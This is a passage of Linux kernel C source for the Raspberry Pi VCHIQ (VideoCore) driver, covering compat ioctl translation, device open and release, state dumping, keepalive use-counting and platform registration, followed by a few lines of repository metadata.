vchiq_element __user *elements; struct vchiq_queue_message32 args32; unsigned int count; if (copy_from_user(&args32, (struct vchiq_queue_message32 __user *)arg, sizeof(args32))) return -EFAULT; args = compat_alloc_user_space(sizeof(*args) + (sizeof(*elements) * MAX_ELEMENTS)); if (!args) return -EFAULT; if (put_user(args32.handle, &args->handle) || put_user(args32.count, &args->count) || put_user(compat_ptr(args32.elements), &args->elements)) return -EFAULT; if (args32.count > MAX_ELEMENTS) return -EINVAL; if (args32.elements && args32.count) { struct vchiq_element32 tempelement32[MAX_ELEMENTS]; elements = (struct vchiq_element __user *)(args + 1); if (copy_from_user(&tempelement32, compat_ptr(args32.elements), sizeof(tempelement32))) return -EFAULT; for (count = 0; count < args32.count; count++) { if (put_user(compat_ptr(tempelement32[count].data), &elements[count].data) || put_user(tempelement32[count].size, &elements[count].size)) return -EFAULT; } if (put_user(elements, &args->elements)) return -EFAULT; } return vchiq_ioctl(file, VCHIQ_IOC_QUEUE_MESSAGE, (unsigned long)args); } struct vchiq_queue_bulk_transfer32 { unsigned int handle; compat_uptr_t data; unsigned int size; compat_uptr_t userdata; enum vchiq_bulk_mode mode; }; #define VCHIQ_IOC_QUEUE_BULK_TRANSMIT32 \ _IOWR(VCHIQ_IOC_MAGIC, 5, struct vchiq_queue_bulk_transfer32) #define VCHIQ_IOC_QUEUE_BULK_RECEIVE32 \ _IOWR(VCHIQ_IOC_MAGIC, 6, struct vchiq_queue_bulk_transfer32) static long vchiq_compat_ioctl_queue_bulk(struct file *file, unsigned int cmd, unsigned long arg) { struct vchiq_queue_bulk_transfer __user *args; struct vchiq_queue_bulk_transfer32 args32; struct vchiq_queue_bulk_transfer32 __user *ptrargs32 = (struct vchiq_queue_bulk_transfer32 __user *)arg; long ret; args = compat_alloc_user_space(sizeof(*args)); if (!args) return -EFAULT; if (copy_from_user(&args32, ptrargs32, sizeof(args32))) return -EFAULT; if (put_user(args32.handle, &args->handle) || put_user(compat_ptr(args32.data), &args->data) || put_user(args32.size, &args->size) || put_user(compat_ptr(args32.userdata), &args->userdata) || put_user(args32.mode, &args->mode)) return -EFAULT; if (cmd == VCHIQ_IOC_QUEUE_BULK_TRANSMIT32) cmd = VCHIQ_IOC_QUEUE_BULK_TRANSMIT; else cmd = VCHIQ_IOC_QUEUE_BULK_RECEIVE; ret = vchiq_ioctl(file, cmd, (unsigned long)args); if (ret < 0) return ret; if (get_user(args32.mode, &args->mode)) return -EFAULT; if (copy_to_user(&ptrargs32->mode, &args32.mode, sizeof(args32.mode))) return -EFAULT; return 0; } struct vchiq_completion_data32 { enum vchiq_reason reason; compat_uptr_t header; compat_uptr_t service_userdata; compat_uptr_t bulk_userdata; }; struct vchiq_await_completion32 { unsigned int count; compat_uptr_t buf; unsigned int msgbufsize; unsigned int msgbufcount; /* IN/OUT */ compat_uptr_t msgbufs; }; #define VCHIQ_IOC_AWAIT_COMPLETION32 \ _IOWR(VCHIQ_IOC_MAGIC, 7, struct vchiq_await_completion32) static long vchiq_compat_ioctl_await_completion(struct file *file, unsigned int cmd, unsigned long arg) { struct vchiq_await_completion __user *args; struct vchiq_completion_data __user *completion; struct vchiq_completion_data completiontemp; struct vchiq_await_completion32 args32; struct vchiq_completion_data32 completion32; unsigned int __user *msgbufcount32; unsigned int msgbufcount_native; compat_uptr_t msgbuf32; void __user *msgbuf; void * __user *msgbufptr; long ret; args = compat_alloc_user_space(sizeof(*args) + sizeof(*completion) + sizeof(*msgbufptr)); if (!args) return -EFAULT; completion = (struct vchiq_completion_data __user *)(args + 1); msgbufptr = (void * __user *)(completion + 1); if (copy_from_user(&args32, (struct vchiq_completion_data32 __user *)arg, sizeof(args32))) return -EFAULT; if (put_user(args32.count, &args->count) || put_user(compat_ptr(args32.buf), &args->buf) || put_user(args32.msgbufsize, &args->msgbufsize) || put_user(args32.msgbufcount, &args->msgbufcount) || put_user(compat_ptr(args32.msgbufs), &args->msgbufs)) return -EFAULT; /* These are simple cases, so just fall into the native handler */ if (!args32.count || !args32.buf || !args32.msgbufcount) return vchiq_ioctl(file, VCHIQ_IOC_AWAIT_COMPLETION, (unsigned long)args); /* * These are the more complex cases. Typical applications of this * ioctl will use a very large count, with a very large msgbufcount. * Since the native ioctl can asynchronously fill in the returned * buffers and the application can in theory begin processing messages * even before the ioctl returns, a bit of a trick is used here. * * By forcing both count and msgbufcount to be 1, it forces the native * ioctl to only claim at most 1 message is available. This tricks * the calling application into thinking only 1 message was actually * available in the queue so like all good applications it will retry * waiting until all the required messages are received. * * This trick has been tested and proven to work with vchiq_test, * Minecraft_PI, the "hello pi" examples, and various other * applications that are included in Raspbian. */ if (copy_from_user(&msgbuf32, compat_ptr(args32.msgbufs) + (sizeof(compat_uptr_t) * (args32.msgbufcount - 1)), sizeof(msgbuf32))) return -EFAULT; msgbuf = compat_ptr(msgbuf32); if (copy_to_user(msgbufptr, &msgbuf, sizeof(msgbuf))) return -EFAULT; if (copy_to_user(&args->msgbufs, &msgbufptr, sizeof(msgbufptr))) return -EFAULT; if (put_user(1U, &args->count) || put_user(completion, &args->buf) || put_user(1U, &args->msgbufcount)) return -EFAULT; ret = vchiq_ioctl(file, VCHIQ_IOC_AWAIT_COMPLETION, (unsigned long)args); /* * An return value of 0 here means that no messages where available * in the message queue. In this case the native ioctl does not * return any data to the application at all. Not even to update * msgbufcount. This functionality needs to be kept here for * compatibility. * * Of course, < 0 means that an error occurred and no data is being * returned. * * Since count and msgbufcount was forced to 1, that means * the only other possible return value is 1. Meaning that 1 message * was available, so that multiple message case does not need to be * handled here. */ if (ret <= 0) return ret; if (copy_from_user(&completiontemp, completion, sizeof(*completion))) return -EFAULT; completion32.reason = completiontemp.reason; completion32.header = ptr_to_compat(completiontemp.header); completion32.service_userdata = ptr_to_compat(completiontemp.service_userdata); completion32.bulk_userdata = ptr_to_compat(completiontemp.bulk_userdata); if (copy_to_user(compat_ptr(args32.buf), &completion32, sizeof(completion32))) return -EFAULT; if (get_user(msgbufcount_native, &args->msgbufcount)) return -EFAULT; if (!msgbufcount_native) args32.msgbufcount--; msgbufcount32 = &((struct vchiq_await_completion32 __user *)arg)->msgbufcount; if (copy_to_user(msgbufcount32, &args32.msgbufcount, sizeof(args32.msgbufcount))) return -EFAULT; return 1; } struct vchiq_dequeue_message32 { unsigned int handle; int blocking; unsigned int bufsize; compat_uptr_t buf; }; #define VCHIQ_IOC_DEQUEUE_MESSAGE32 \ _IOWR(VCHIQ_IOC_MAGIC, 8, struct vchiq_dequeue_message32) static long vchiq_compat_ioctl_dequeue_message(struct file *file, unsigned int cmd, unsigned long arg) { struct vchiq_dequeue_message __user *args; struct vchiq_dequeue_message32 args32; args = compat_alloc_user_space(sizeof(*args)); if (!args) return -EFAULT; if (copy_from_user(&args32, (struct vchiq_dequeue_message32 __user *)arg, sizeof(args32))) return -EFAULT; if (put_user(args32.handle, &args->handle) || put_user(args32.blocking, &args->blocking) || put_user(args32.bufsize, &args->bufsize) || put_user(compat_ptr(args32.buf), &args->buf)) return -EFAULT; return vchiq_ioctl(file, VCHIQ_IOC_DEQUEUE_MESSAGE, (unsigned long)args); } struct vchiq_get_config32 { unsigned int config_size; compat_uptr_t pconfig; }; #define VCHIQ_IOC_GET_CONFIG32 \ _IOWR(VCHIQ_IOC_MAGIC, 10, struct vchiq_get_config32) static long vchiq_compat_ioctl_get_config(struct file *file, unsigned int cmd, unsigned long arg) { struct vchiq_get_config __user *args; struct vchiq_get_config32 args32; args = compat_alloc_user_space(sizeof(*args)); if (!args) return -EFAULT; if (copy_from_user(&args32, (struct vchiq_get_config32 __user *)arg, sizeof(args32))) return -EFAULT; if (put_user(args32.config_size, &args->config_size) || put_user(compat_ptr(args32.pconfig), &args->pconfig)) return -EFAULT; return vchiq_ioctl(file, VCHIQ_IOC_GET_CONFIG, (unsigned long)args); } static long vchiq_compat_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { switch (cmd) { case VCHIQ_IOC_CREATE_SERVICE32: return vchiq_compat_ioctl_create_service(file, cmd, arg); case VCHIQ_IOC_QUEUE_MESSAGE32: return vchiq_compat_ioctl_queue_message(file, cmd, arg); case VCHIQ_IOC_QUEUE_BULK_TRANSMIT32: case VCHIQ_IOC_QUEUE_BULK_RECEIVE32: return vchiq_compat_ioctl_queue_bulk(file, cmd, arg); case VCHIQ_IOC_AWAIT_COMPLETION32: return vchiq_compat_ioctl_await_completion(file, cmd, arg); case VCHIQ_IOC_DEQUEUE_MESSAGE32: return vchiq_compat_ioctl_dequeue_message(file, cmd, arg); case VCHIQ_IOC_GET_CONFIG32: return vchiq_compat_ioctl_get_config(file, cmd, arg); default: return vchiq_ioctl(file, cmd, arg); } } #endif static int vchiq_open(struct inode *inode, struct file *file) { struct vchiq_state *state = vchiq_get_state(); struct vchiq_instance *instance; vchiq_log_info(vchiq_arm_log_level, "vchiq_open"); if (!state) { vchiq_log_error(vchiq_arm_log_level, "vchiq has no connection to VideoCore"); return -ENOTCONN; } instance = kzalloc(sizeof(*instance), GFP_KERNEL); if (!instance) return -ENOMEM; instance->state = state; instance->pid = current->tgid; vchiq_debugfs_add_instance(instance); init_completion(&instance->insert_event); init_completion(&instance->remove_event); mutex_init(&instance->completion_mutex); mutex_init(&instance->bulk_waiter_list_mutex); INIT_LIST_HEAD(&instance->bulk_waiter_list); file->private_data = instance; return 0; } static int vchiq_release(struct inode *inode, struct file *file) { struct vchiq_instance *instance = file->private_data; struct vchiq_state *state = vchiq_get_state(); struct vchiq_service *service; int ret = 0; int i; vchiq_log_info(vchiq_arm_log_level, "%s: instance=%lx", __func__, (unsigned long)instance); if (!state) { ret = -EPERM; goto out; } /* Ensure videocore is awake to allow termination. */ vchiq_use_internal(instance->state, NULL, USE_TYPE_VCHIQ); mutex_lock(&instance->completion_mutex); /* Wake the completion thread and ask it to exit */ instance->closing = 1; complete(&instance->insert_event); mutex_unlock(&instance->completion_mutex); /* Wake the slot handler if the completion queue is full. */ complete(&instance->remove_event); /* Mark all services for termination... */ i = 0; while ((service = next_service_by_instance(state, instance, &i))) { struct user_service *user_service = service->base.userdata; /* Wake the slot handler if the msg queue is full. */ complete(&user_service->remove_event); vchiq_terminate_service_internal(service); unlock_service(service); } /* ...and wait for them to die */ i = 0; while ((service = next_service_by_instance(state, instance, &i))) { struct user_service *user_service = service->base.userdata; wait_for_completion(&service->remove_event); BUG_ON(service->srvstate != VCHIQ_SRVSTATE_FREE); spin_lock(&msg_queue_spinlock); while (user_service->msg_remove != user_service->msg_insert) { struct vchiq_header *header; int m = user_service->msg_remove & (MSG_QUEUE_SIZE - 1); header = user_service->msg_queue[m]; user_service->msg_remove++; spin_unlock(&msg_queue_spinlock); if (header) vchiq_release_message(service->handle, header); spin_lock(&msg_queue_spinlock); } spin_unlock(&msg_queue_spinlock); unlock_service(service); } /* Release any closed services */ while (instance->completion_remove != instance->completion_insert) { struct vchiq_completion_data *completion; struct vchiq_service *service; completion = &instance->completions[ instance->completion_remove & (MAX_COMPLETIONS - 1)]; service = completion->service_userdata; if (completion->reason == VCHIQ_SERVICE_CLOSED) { struct user_service *user_service = service->base.userdata; /* Wake any blocked user-thread */ if (instance->use_close_delivered) complete(&user_service->close_event); unlock_service(service); } instance->completion_remove++; } /* Release the PEER service count. */ vchiq_release_internal(instance->state, NULL); { struct bulk_waiter_node *waiter, *next; list_for_each_entry_safe(waiter, next, &instance->bulk_waiter_list, list) { list_del(&waiter->list); vchiq_log_info(vchiq_arm_log_level, "bulk_waiter - cleaned up %pK for pid %d", waiter, waiter->pid); kfree(waiter); } } vchiq_debugfs_remove_instance(instance); kfree(instance); file->private_data = NULL; out: return ret; } /**************************************************************************** * * vchiq_dump * ***************************************************************************/ int vchiq_dump(void *dump_context, const char *str, int len) { struct dump_context *context = (struct dump_context *)dump_context; int copy_bytes; if (context->actual >= context->space) return 0; if (context->offset > 0) { int skip_bytes = min_t(int, len, context->offset); str += skip_bytes; len -= skip_bytes; context->offset -= skip_bytes; if (context->offset > 0) return 0; } copy_bytes = min_t(int, len, context->space - context->actual); if (copy_bytes == 0) return 0; if (copy_to_user(context->buf + context->actual, str, copy_bytes)) return -EFAULT; context->actual += copy_bytes; len -= copy_bytes; /* * If the terminating NUL is included in the length, then it * marks the end of a line and should be replaced with a * carriage return. */ if ((len == 0) && (str[copy_bytes - 1] == '\0')) { char cr = '\n'; if (copy_to_user(context->buf + context->actual - 1, &cr, 1)) return -EFAULT; } return 0; } /**************************************************************************** * * vchiq_dump_platform_instance_state * ***************************************************************************/ int vchiq_dump_platform_instances(void *dump_context) { struct vchiq_state *state = vchiq_get_state(); char buf[80]; int len; int i; /* There is no list of instances, so instead scan all services, marking those that have been dumped. */ rcu_read_lock(); for (i = 0; i < state->unused_service; i++) { struct vchiq_service *service; struct vchiq_instance *instance; service = rcu_dereference(state->services[i]); if (!service || service->base.callback != service_callback) continue; instance = service->instance; if (instance) instance->mark = 0; } rcu_read_unlock(); for (i = 0; i < state->unused_service; i++) { struct vchiq_service *service; struct vchiq_instance *instance; int err; rcu_read_lock(); service = rcu_dereference(state->services[i]); if (!service || service->base.callback != service_callback) { rcu_read_unlock(); continue; } instance = service->instance; if (!instance || instance->mark) { rcu_read_unlock(); continue; } rcu_read_unlock(); len = snprintf(buf, sizeof(buf), "Instance %pK: pid %d,%s completions %d/%d", instance, instance->pid, instance->connected ? " connected, " : "", instance->completion_insert - instance->completion_remove, MAX_COMPLETIONS); err = vchiq_dump(dump_context, buf, len + 1); if (err) return err; instance->mark = 1; } return 0; } /**************************************************************************** * * vchiq_dump_platform_service_state * ***************************************************************************/ int vchiq_dump_platform_service_state(void *dump_context, struct vchiq_service *service) { struct user_service *user_service = (struct user_service *)service->base.userdata; char buf[80]; int len; len = scnprintf(buf, sizeof(buf), " instance %pK", service->instance); if ((service->base.callback == service_callback) && user_service->is_vchi) { len += scnprintf(buf + len, sizeof(buf) - len, ", %d/%d messages", user_service->msg_insert - user_service->msg_remove, MSG_QUEUE_SIZE); if (user_service->dequeue_pending) len += scnprintf(buf + len, sizeof(buf) - len, " (dequeue pending)"); } return vchiq_dump(dump_context, buf, len + 1); } /**************************************************************************** * * vchiq_read * ***************************************************************************/ static ssize_t vchiq_read(struct file *file, char __user *buf, size_t count, loff_t *ppos) { struct dump_context context; int err; context.buf = buf; context.actual = 0; context.space = count; context.offset = *ppos; err = vchiq_dump_state(&context, &g_state); if (err) return err; *ppos += context.actual; return context.actual; } struct vchiq_state * vchiq_get_state(void) { if (!g_state.remote) printk(KERN_ERR "%s: g_state.remote == NULL\n", __func__); else if (g_state.remote->initialised != 1) printk(KERN_NOTICE "%s: g_state.remote->initialised != 1 (%d)\n", __func__, g_state.remote->initialised); return (g_state.remote && (g_state.remote->initialised == 1)) ? &g_state : NULL; } static const struct file_operations vchiq_fops = { .owner = THIS_MODULE, .unlocked_ioctl = vchiq_ioctl, #if defined(CONFIG_COMPAT) .compat_ioctl = vchiq_compat_ioctl, #endif .open = vchiq_open, .release = vchiq_release, .read = vchiq_read }; /* * Autosuspend related functionality */ static enum vchiq_status vchiq_keepalive_vchiq_callback(enum vchiq_reason reason, struct vchiq_header *header, unsigned int service_user, void *bulk_user) { vchiq_log_error(vchiq_susp_log_level, "%s callback reason %d", __func__, reason); return 0; } static int vchiq_keepalive_thread_func(void *v) { struct vchiq_state *state = (struct vchiq_state *)v; struct vchiq_arm_state *arm_state = vchiq_platform_get_arm_state(state); enum vchiq_status status; struct vchiq_instance *instance; unsigned int ka_handle; struct vchiq_service_params params = { .fourcc = VCHIQ_MAKE_FOURCC('K', 'E', 'E', 'P'), .callback = vchiq_keepalive_vchiq_callback, .version = KEEPALIVE_VER, .version_min = KEEPALIVE_VER_MIN }; status = vchiq_initialise(&instance); if (status != VCHIQ_SUCCESS) { vchiq_log_error(vchiq_susp_log_level, "%s vchiq_initialise failed %d", __func__, status); goto exit; } status = vchiq_connect(instance); if (status != VCHIQ_SUCCESS) { vchiq_log_error(vchiq_susp_log_level, "%s vchiq_connect failed %d", __func__, status); goto shutdown; } status = vchiq_add_service(instance, &params, &ka_handle); if (status != VCHIQ_SUCCESS) { vchiq_log_error(vchiq_susp_log_level, "%s vchiq_open_service failed %d", __func__, status); goto shutdown; } while (1) { long rc = 0, uc = 0; if (wait_for_completion_interruptible(&arm_state->ka_evt)) { vchiq_log_error(vchiq_susp_log_level, "%s interrupted", __func__); flush_signals(current); continue; } /* read and clear counters. Do release_count then use_count to * prevent getting more releases than uses */ rc = atomic_xchg(&arm_state->ka_release_count, 0); uc = atomic_xchg(&arm_state->ka_use_count, 0); /* Call use/release service the requisite number of times. * Process use before release so use counts don't go negative */ while (uc--) { atomic_inc(&arm_state->ka_use_ack_count); status = vchiq_use_service(ka_handle); if (status != VCHIQ_SUCCESS) { vchiq_log_error(vchiq_susp_log_level, "%s vchiq_use_service error %d", __func__, status); } } while (rc--) { status = vchiq_release_service(ka_handle); if (status != VCHIQ_SUCCESS) { vchiq_log_error(vchiq_susp_log_level, "%s vchiq_release_service error %d", __func__, status); } } } shutdown: vchiq_shutdown(instance); exit: return 0; } enum vchiq_status vchiq_arm_init_state(struct vchiq_state *state, struct vchiq_arm_state *arm_state) { if (arm_state) { rwlock_init(&arm_state->susp_res_lock); init_completion(&arm_state->ka_evt); atomic_set(&arm_state->ka_use_count, 0); atomic_set(&arm_state->ka_use_ack_count, 0); atomic_set(&arm_state->ka_release_count, 0); arm_state->state = state; arm_state->first_connect = 0; } return VCHIQ_SUCCESS; } enum vchiq_status vchiq_use_internal(struct vchiq_state *state, struct vchiq_service *service, enum USE_TYPE_E use_type) { struct vchiq_arm_state *arm_state = vchiq_platform_get_arm_state(state); enum vchiq_status ret = VCHIQ_SUCCESS; char entity[16]; int *entity_uc; int local_uc; if (!arm_state) goto out; vchiq_log_trace(vchiq_susp_log_level, "%s", __func__); if (use_type == USE_TYPE_VCHIQ) { sprintf(entity, "VCHIQ: "); entity_uc = &arm_state->peer_use_count; } else if (service) { sprintf(entity, "%c%c%c%c:%03d", VCHIQ_FOURCC_AS_4CHARS(service->base.fourcc), service->client_id); entity_uc = &service->service_use_count; } else { vchiq_log_error(vchiq_susp_log_level, "%s null service " "ptr", __func__); ret = VCHIQ_ERROR; goto out; } write_lock_bh(&arm_state->susp_res_lock); local_uc = ++arm_state->videocore_use_count; ++(*entity_uc); vchiq_log_trace(vchiq_susp_log_level, "%s %s count %d, state count %d", __func__, entity, *entity_uc, local_uc); write_unlock_bh(&arm_state->susp_res_lock); if (ret == VCHIQ_SUCCESS) { enum vchiq_status status = VCHIQ_SUCCESS; long ack_cnt = atomic_xchg(&arm_state->ka_use_ack_count, 0); while (ack_cnt && (status == VCHIQ_SUCCESS)) { /* Send the use notify to videocore */ status = vchiq_send_remote_use_active(state); if (status == VCHIQ_SUCCESS) ack_cnt--; else atomic_add(ack_cnt, &arm_state->ka_use_ack_count); } } out: vchiq_log_trace(vchiq_susp_log_level, "%s exit %d", __func__, ret); return ret; } enum vchiq_status vchiq_release_internal(struct vchiq_state *state, struct vchiq_service *service) { struct vchiq_arm_state *arm_state = vchiq_platform_get_arm_state(state); enum vchiq_status ret = VCHIQ_SUCCESS; char entity[16]; int *entity_uc; if (!arm_state) goto out; vchiq_log_trace(vchiq_susp_log_level, "%s", __func__); if (service) { sprintf(entity, "%c%c%c%c:%03d", VCHIQ_FOURCC_AS_4CHARS(service->base.fourcc), service->client_id); entity_uc = &service->service_use_count; } else { sprintf(entity, "PEER: "); entity_uc = &arm_state->peer_use_count; } write_lock_bh(&arm_state->susp_res_lock); if (!arm_state->videocore_use_count || !(*entity_uc)) { /* Don't use BUG_ON - don't allow user thread to crash kernel */ WARN_ON(!arm_state->videocore_use_count); WARN_ON(!(*entity_uc)); ret = VCHIQ_ERROR; goto unlock; } --arm_state->videocore_use_count; --(*entity_uc); vchiq_log_trace(vchiq_susp_log_level, "%s %s count %d, state count %d", __func__, entity, *entity_uc, arm_state->videocore_use_count); unlock: write_unlock_bh(&arm_state->susp_res_lock); out: vchiq_log_trace(vchiq_susp_log_level, "%s exit %d", __func__, ret); return ret; } void vchiq_on_remote_use(struct vchiq_state *state) { struct vchiq_arm_state *arm_state = vchiq_platform_get_arm_state(state); vchiq_log_trace(vchiq_susp_log_level, "%s", __func__); atomic_inc(&arm_state->ka_use_count); complete(&arm_state->ka_evt); } void vchiq_on_remote_release(struct vchiq_state *state) { struct vchiq_arm_state *arm_state = vchiq_platform_get_arm_state(state); vchiq_log_trace(vchiq_susp_log_level, "%s", __func__); atomic_inc(&arm_state->ka_release_count); complete(&arm_state->ka_evt); } enum vchiq_status vchiq_use_service_internal(struct vchiq_service *service) { return vchiq_use_internal(service->state, service, USE_TYPE_SERVICE); } enum vchiq_status vchiq_release_service_internal(struct vchiq_service *service) { return vchiq_release_internal(service->state, service); } struct vchiq_debugfs_node * vchiq_instance_get_debugfs_node(struct vchiq_instance *instance) { return &instance->debugfs_node; } int vchiq_instance_get_use_count(struct vchiq_instance *instance) { struct vchiq_service *service; int use_count = 0, i; i = 0; rcu_read_lock(); while ((service = __next_service_by_instance(instance->state, instance, &i))) use_count += service->service_use_count; rcu_read_unlock(); return use_count; } int vchiq_instance_get_pid(struct vchiq_instance *instance) { return instance->pid; } int vchiq_instance_get_trace(struct vchiq_instance *instance) { return instance->trace; } void vchiq_instance_set_trace(struct vchiq_instance *instance, int trace) { struct vchiq_service *service; int i; i = 0; rcu_read_lock(); while ((service = __next_service_by_instance(instance->state, instance, &i))) service->trace = trace; rcu_read_unlock(); instance->trace = (trace != 0); } enum vchiq_status vchiq_use_service(unsigned int handle) { enum vchiq_status ret = VCHIQ_ERROR; struct vchiq_service *service = find_service_by_handle(handle); if (service) { ret = vchiq_use_internal(service->state, service, USE_TYPE_SERVICE); unlock_service(service); } return ret; } EXPORT_SYMBOL(vchiq_use_service); enum vchiq_status vchiq_release_service(unsigned int handle) { enum vchiq_status ret = VCHIQ_ERROR; struct vchiq_service *service = find_service_by_handle(handle); if (service) { ret = vchiq_release_internal(service->state, service); unlock_service(service); } return ret; } EXPORT_SYMBOL(vchiq_release_service); struct service_data_struct { int fourcc; int clientid; int use_count; }; void vchiq_dump_service_use_state(struct vchiq_state *state) { struct vchiq_arm_state *arm_state = vchiq_platform_get_arm_state(state); struct service_data_struct *service_data; int i, found = 0; /* If there's more than 64 services, only dump ones with * non-zero counts */ int only_nonzero = 0; static const char *nz = "<-- preventing suspend"; int peer_count; int vc_use_count; int active_services; if (!arm_state) return; service_data = kmalloc_array(MAX_SERVICES, sizeof(*service_data), GFP_KERNEL); if (!service_data) return; read_lock_bh(&arm_state->susp_res_lock); peer_count = arm_state->peer_use_count; vc_use_count = arm_state->videocore_use_count; active_services = state->unused_service; if (active_services > MAX_SERVICES) only_nonzero = 1; rcu_read_lock(); for (i = 0; i < active_services; i++) { struct vchiq_service *service_ptr = rcu_dereference(state->services[i]); if (!service_ptr) continue; if (only_nonzero && !service_ptr->service_use_count) continue; if (service_ptr->srvstate == VCHIQ_SRVSTATE_FREE) continue; service_data[found].fourcc = service_ptr->base.fourcc; service_data[found].clientid = service_ptr->client_id; service_data[found].use_count = service_ptr->service_use_count; found++; if (found >= MAX_SERVICES) break; } rcu_read_unlock(); read_unlock_bh(&arm_state->susp_res_lock); if (only_nonzero) vchiq_log_warning(vchiq_susp_log_level, "Too many active " "services (%d). Only dumping up to first %d services " "with non-zero use-count", active_services, found); for (i = 0; i < found; i++) { vchiq_log_warning(vchiq_susp_log_level, "----- %c%c%c%c:%d service count %d %s", VCHIQ_FOURCC_AS_4CHARS(service_data[i].fourcc), service_data[i].clientid, service_data[i].use_count, service_data[i].use_count ? nz : ""); } vchiq_log_warning(vchiq_susp_log_level, "----- VCHIQ use count count %d", peer_count); vchiq_log_warning(vchiq_susp_log_level, "--- Overall vchiq instance use count %d", vc_use_count); kfree(service_data); } enum vchiq_status vchiq_check_service(struct vchiq_service *service) { struct vchiq_arm_state *arm_state; enum vchiq_status ret = VCHIQ_ERROR; if (!service || !service->state) goto out; vchiq_log_trace(vchiq_susp_log_level, "%s", __func__); arm_state = vchiq_platform_get_arm_state(service->state); read_lock_bh(&arm_state->susp_res_lock); if (service->service_use_count) ret = VCHIQ_SUCCESS; read_unlock_bh(&arm_state->susp_res_lock); if (ret == VCHIQ_ERROR) { vchiq_log_error(vchiq_susp_log_level, "%s ERROR - %c%c%c%c:%d service count %d, " "state count %d", __func__, VCHIQ_FOURCC_AS_4CHARS(service->base.fourcc), service->client_id, service->service_use_count, arm_state->videocore_use_count); vchiq_dump_service_use_state(service->state); } out: return ret; } void vchiq_platform_conn_state_changed(struct vchiq_state *state, enum vchiq_connstate oldstate, enum vchiq_connstate newstate) { struct vchiq_arm_state *arm_state = vchiq_platform_get_arm_state(state); char threadname[16]; vchiq_log_info(vchiq_susp_log_level, "%d: %s->%s", state->id, get_conn_state_name(oldstate), get_conn_state_name(newstate)); if (state->conn_state != VCHIQ_CONNSTATE_CONNECTED) return; write_lock_bh(&arm_state->susp_res_lock); if (arm_state->first_connect) { write_unlock_bh(&arm_state->susp_res_lock); return; } arm_state->first_connect = 1; write_unlock_bh(&arm_state->susp_res_lock); snprintf(threadname, sizeof(threadname), "vchiq-keep/%d", state->id); arm_state->ka_thread = kthread_create(&vchiq_keepalive_thread_func, (void *)state, threadname); if (IS_ERR(arm_state->ka_thread)) { vchiq_log_error(vchiq_susp_log_level, "vchiq: FATAL: couldn't create thread %s", threadname); } else { wake_up_process(arm_state->ka_thread); } } static const struct of_device_id vchiq_of_match[] = { { .compatible = "brcm,bcm2835-vchiq", .data = &bcm2835_drvdata }, { .compatible = "brcm,bcm2836-vchiq", .data = &bcm2836_drvdata }, {}, }; MODULE_DEVICE_TABLE(of, vchiq_of_match); static struct platform_device * vchiq_register_child(struct platform_device *pdev, const char *name) { struct platform_device_info pdevinfo; struct platform_device *child; memset(&pdevinfo, 0, sizeof(pdevinfo)); pdevinfo.parent = &pdev->dev; pdevinfo.name = name; pdevinfo.id = PLATFORM_DEVID_NONE; pdevinfo.dma_mask = DMA_BIT_MASK(32); child = platform_device_register_full(&pdevinfo); if (IS_ERR(child)) { dev_warn(&pdev->dev, "%s not registered\n", name); child = NULL; } return child; } static int vchiq_probe(struct platform_device *pdev) { struct device_node *fw_node; const struct of_device_id *of_id; struct vchiq_drvdata *drvdata; struct device *vchiq_dev; int err; of_id = of_match_node(vchiq_of_match, pdev->dev.of_node); drvdata = (struct vchiq_drvdata *)of_id->data; if (!drvdata) return -EINVAL; fw_node = of_find_compatible_node(NULL, NULL, "raspberrypi,bcm2835-firmware"); if (!fw_node) { dev_err(&pdev->dev, "Missing firmware node\n"); return -ENOENT; } drvdata->fw = rpi_firmware_get(fw_node); of_node_put(fw_node); if (!drvdata->fw) return -EPROBE_DEFER; platform_set_drvdata(pdev, drvdata); err = vchiq_platform_init(pdev, &g_state); if (err) goto failed_platform_init; cdev_init(&vchiq_cdev, &vchiq_fops); vchiq_cdev.owner = THIS_MODULE; err = cdev_add(&vchiq_cdev, vchiq_devid, 1); if (err) { vchiq_log_error(vchiq_arm_log_level, "Unable to register device"); goto failed_platform_init; } vchiq_dev = device_create(vchiq_class, &pdev->dev, vchiq_devid, NULL, "vchiq"); if (IS_ERR(vchiq_dev)) { err = PTR_ERR(vchiq_dev); goto failed_device_create; } vchiq_debugfs_init(); vchiq_log_info(vchiq_arm_log_level, "vchiq: initialised - version %d (min %d), device %d.%d", VCHIQ_VERSION, VCHIQ_VERSION_MIN, MAJOR(vchiq_devid), MINOR(vchiq_devid)); bcm2835_camera = vchiq_register_child(pdev, "bcm2835-camera"); bcm2835_audio = vchiq_register_child(pdev, "bcm2835_audio"); return 0; failed_device_create: cdev_del(&vchiq_cdev); failed_platform_init: vchiq_log_warning(vchiq_arm_log_level, "could not load vchiq"); return err; } static int vchiq_remove(struct platform_device *pdev) { platform_device_unregister(bcm2835_audio); platform_device_unregister(bcm2835_camera); vchiq_debugfs_deinit(); device_destroy(vchiq_class, vchiq_devid); cdev_del(&vchiq_cdev); return 0; } static struct platform_driver vchiq_driver = { .driver = { .name = "bcm2835_vchiq", .of_match_table = vchiq_of_match, }, .probe = vchiq_probe, .remove = vchiq_remove, }; static int __init vchiq_driver_init(void) { int ret; vchiq_class = class_create(THIS_MODULE, DEVICE_NAME); if (IS_ERR(vchiq_class)) { pr_err("Failed to create vchiq class\n"); return PTR_ERR(vchiq_class); } ret = alloc_chrdev_region(&vchiq_devid, 0, 1, DEVICE_NAME); if (ret) { pr_err("Failed to allocate vchiq's chrdev region\n"); goto class_destroy; } ret = platform_driver_register(&vchiq_driver); if (ret) { pr_err("Failed to register vchiq driver\n"); goto region_unregister; } return 0; region_unregister: unregister_chrdev_region(vchiq_devid, 1); class_destroy: class_destroy(vchiq_class); return ret; } module_init(vchiq_driver_init); static void __exit vchiq_driver_exit(void) { platform_driver_unregister(&vchiq_driver); unregister_chrdev_region(vchiq_devid, 1); class_destroy(vchiq_class); } module_exit(vchiq_driver_exit); MODULE_LICENSE("Dual BSD/GPL"); MODULE_DESCRIPTION("Videocore VCHIQ driver"); MODULE_AUTHOR("Broadcom Corporation");
gpl-2.0
810/joomla-cms
modules/mod_custom/mod_custom.php
626
